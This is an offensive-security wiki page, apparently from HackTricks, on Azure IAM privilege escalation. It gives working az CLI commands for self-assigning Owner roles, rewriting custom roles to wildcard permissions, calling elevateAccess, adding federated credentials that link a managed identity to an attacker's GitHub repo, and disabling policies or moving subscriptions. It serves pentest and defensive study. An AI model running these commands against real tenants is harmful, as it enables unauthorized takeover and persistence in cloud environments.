Skip to content

az-authorization-privesc.md

Latest commit

 

History

History
263 lines (184 loc) · 10.8 KB

az-authorization-privesc.md

File metadata and controls

263 lines (184 loc) · 10.8 KB

Az - Azure IAM Privesc (Authorization)

{{#include ../../../banners/hacktricks-training.md}}

Azure IAM

Fore more information check:

{{#ref}} ../az-services/az-azuread.md {{#endref}}

Permissions that let a principal change authorization itself are usually privesc primitives. This is specially dangerous when they are granted on management group or subscription scopes, because the permissions are inherited by child resources.

Microsoft.Authorization/roleAssignments/write

This permission allows to create role assignments over a specific scope, allowing an attacker to escalate privileges by assigning himself or another controlled principal a more privileged role.

Typical flow:

# Login and confirm current context
az login
az account show

# Enumerate current assignments and find the custom role granting this action
az role assignment list --all --output table
az role definition list --name "<role-definition-name>"

If the compromised principal has this action over a scope, it can directly grant a privileged role such as Owner, Contributor, Key Vault Secrets Officer, or any other built-in/custom role available in that scope:

# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"

Knowing the principal object ID of the target user/service principal/managed identity is enough to grant the new role. This can be abused for self-privesc, lateral movement, or persistence by assigning the role to a different controlled principal.

Microsoft.Authorization/roleDefinitions/write

This permission allows to create or modify custom role definitions. In practice, this is dangerous because an attacker can:

  • Modify a custom role that is already assigned to the compromised principal, making the new permissions effective immediately.
  • Create a new over-privileged custom role and then assign it, usually chaining with Microsoft.Authorization/roleAssignments/write.

Typical flow:

# Find the current assignments
az role assignment list --all --output table

# Review the role definition currently assigned to the compromised principal
az role definition list --name "<role-definition-name>"

Create the file role.json with the following content:

{
  "roleName": "<name of the role>",
  "Name": "<name of the role>",
  "IsCustom": true,
  "Description": "Custom role with elevated privileges",
  "Actions": ["*"],
  "NotActions": [],
  "DataActions": ["*"],
  "NotDataActions": [],
  "AssignableScopes": ["/subscriptions/<subscription-id>"],
  "id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>"
}

Then update the role permissions with the previous definition calling:

az role definition update --role-definition role.json

If the modified role is already assigned to the attacker, this can be a faster path than creating a new role assignment because the permission inflation applies to the existing assignment.
If the attacker only has roleDefinitions/write, he can still weaponize it by modifying roles already assigned to compromised principals.

Microsoft.Authorization/elevateAccess/action

This permissions allows to elevate privileges and be able to assign permissions to any principal to Azure resources. It's meant to be given to Entra ID Global Administrators so they can also manage permissions over Azure resources.

Tip

I think the user need to be Global Administrator in Entrad ID for the elevate call to work.

# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"

# Grant a user the Owner role
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"

Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write

This permission allows to create/update Federated Identity Credentials (FICs) on user-assigned managed identities. In practice, this lets an attacker add a new trust relationship to an external identity provider and then obtain tokens as that managed identity.

This is a persistence / identity hijacking primitive: if the managed identity already has access to Azure resources, the attacker only needs to create a matching external workload (for example, a GitHub Actions workflow) and exchange the external token for Azure tokens.

Useful points to verify before abusing it:

  • Which managed identity can be modified
  • Which scope/roles are already assigned to that managed identity
  • Which issuer, subject, and audience will be accepted during token exchange

You can create the FIC with the dedicated CLI command:

az identity federated-credential create \
  --name "github-federated-identity" \
  --identity-name testMI \
  --resource-group bialystok-rg \
  --issuer "https://token.actions.githubusercontent.com" \
  --subject "repo:REPO/IAMTEST:ref:refs/heads/main" \
  --audiences "api://AzureADTokenExchange"

Or with raw REST.

Example command to give access to a GitHub repo to a managed identity:

# Generic example:
az rest --method PUT \
  --uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
  --headers "Content-Type=application/json" \
  --body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'

# Example with specific data:
az rest --method PUT \
  --uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
  --headers "Content-Type=application/json" \
  --body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'

Once the FIC is created, the attacker can authenticate from the external workload and use the managed identity permissions already granted in Azure. For more information about abusing GitHub OIDC / workload identity, check:

{{#ref}} ../az-basic-information/az-federation-abuse.md {{#endref}}

Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete

An attacker with the permission Microsoft.Authorization/policyAssignments/write or Microsoft.Authorization/policyAssignments/delete over a management group, subscription, or resource group can modify or delete Azure policy assignments, potentially disabling security restrictions that block specific operations.

This allows access to resources or functionalities that were previously protected by the policy.

Delete a policy assignment:

az policy assignment delete \
    --name "<policyAssignmentName>" \
    --scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

Disable a policy assignment:

az policy assignment update \
    --name "<policyAssignmentName>" \
    --scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
    --enforcement-mode Disabled

Verify the changes:

# List policy assignments
az policy assignment list \
    --scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

# Show specific policy assignment details
az policy assignment show \
    --name "<policyAssignmentName>" \
    --scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

Microsoft.Authorization/policyDefinitions/write

An attacker with the permission Microsoft.Authorization/policyDefinitions/write can modify Azure policy definitions, changing the rules that control security restrictions across the environment.

For example, a policy that limits the allowed regions for creating resources can be modified to allow any region, or the policy effect can be changed to make it ineffective.

Modify a policy definition:

az policy definition update \
    --name "<policyDefinitionName>" \
    --rules @updated-policy-rules.json

Verify the changes:

az policy definition list --output table

az policy definition show --name "<policyDefinitionName>"

Microsoft.Management/managementGroups/write

An attacker with the permission Microsoft.Management/managementGroups/write can modify the hierarchical structure of management groups or create new management groups, potentially evading restrictive policies applied at higher levels.

For example, an attacker can create a new management group without restrictive policies and then move subscriptions to it.

Create a new management group:

az account management-group create \
    --name "yourMGname" \
    --display-name "yourMGDisplayName"

Modify a management group hierarchy:

az account management-group update \
    --name "<managementGroupId>" \
    --parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"

Verify the changes:

az account management-group list --output table

az account management-group show \
    --name "<managementGroupId>" \
    --expand

Microsoft.Management/managementGroups/subscriptions/write

An attacker with the permission Microsoft.Management/managementGroups/subscriptions/write can move subscriptions between management groups, potentially evading restrictive policies by moving a subscription to a group with less restrictive or no policies.

Move a subscription to a different management group:

az account management-group subscription add \
    --name "<managementGroupName>" \
    --subscription "<subscriptionId>"

Verify the changes:

az account management-group subscription show \
    --name "<managementGroupId>" \
    --subscription "<subscriptionId>"

References

{{#include ../../../banners/hacktricks-training.md}}